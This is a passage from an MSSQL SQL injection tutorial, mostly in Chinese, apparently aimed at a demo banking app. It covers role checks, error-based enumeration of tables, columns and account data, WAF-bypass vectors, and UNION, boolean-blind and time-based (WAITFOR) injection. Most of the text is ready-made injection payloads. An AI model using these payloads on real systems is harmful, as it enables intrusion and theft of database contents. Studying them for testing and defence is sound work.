?id=1' and 1=(select is_srvrolemember('serveradmin'))--
?id=1' and 1=(select is_srvrolemember('securityadmin'))--
?id=1' and 1=(select is_srvrolemember('processadmin'))--
?id=1' and 1=(select is_srvrolemember('setupadmin'))--
?id=1' and 1=(select is_srvrolemember('bulkadmin'))--
?id=1' and 1=(select is_srvrolemember('diskadmin'))--
?id=1' and 1=(select is_srvrolemember('dbcreator'))--
?id=1' and 1=(select is_srvrolemember('public'))--

页面回显正常则表示属于对应角色

判断当前数据库级别角色

SQL
?id=1' and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1' and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--

报错注入

MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。

查询当前数据库中的表名

SQL
# 查询第一个表 --> fsb_accounts
?id=1' and 1=(select top 1 name from sysobjects where xtype='u');--
# 查询第二个表 --> fsb_fund_transfers
?id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
# 查询第三个表,以此类推
?id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--

使用top显示只显示一个是因为sql server不允许子查询返回多个值

查询表中的字段名

SQL
# 查询第一个字段 --> account_no
?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
# 查询第二个字段 --> account_type
# <> 表示不等于, 等价于 !=
?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--

值得一提的是,在 MSSQL 中除了借助 sysobjects 表和 syscolumns 表获取表名、列名外,MSSQL 数据库中也兼容 information_schema,里面存放了数据表表名和字段名。使用方法与 MySQL 相同。

SQL
?id=1' and 1=(select top 1 table_name from information_schema.tables);--
?id=1' and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--

查询表中具体的数据

SQL
?id=1' and 1=(select top 1 branch from fsb_accounts);--
?id=1' and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
?id=1' and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--

Alternative Error-Based vectors

Error-based SQL injections typically resemble constructions such as +AND+1=@@version-- and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.

Some examples of such functions:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Example use of function USER_NAME():

Text Only
https://vuln.app/getItem?id=1'%2buser_name(@@version)--

image-20250320171407367

联合注入

方法与一般的 SQL 联合注入相同。值得注意的是,MSSQL 联合注入一般不使用数字占位,而是 NULL,因为使用数字占位可能会发生隐式转换。

SQL
?id=-1' union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
?id=-1' union select NULL, user_name, NULL, NULL, NULL from fsb_users--

布尔盲注

方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可。

SQL
?id=-1' or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--

当有回显时表明后面的判断为真

时间盲注

MSSQL 数据库中的 WAITFOR 延时存储过程可以用来时间盲注,当语句执行成功,页面延时返回即为 True。

SQL
?id=1';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
?id=1';if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--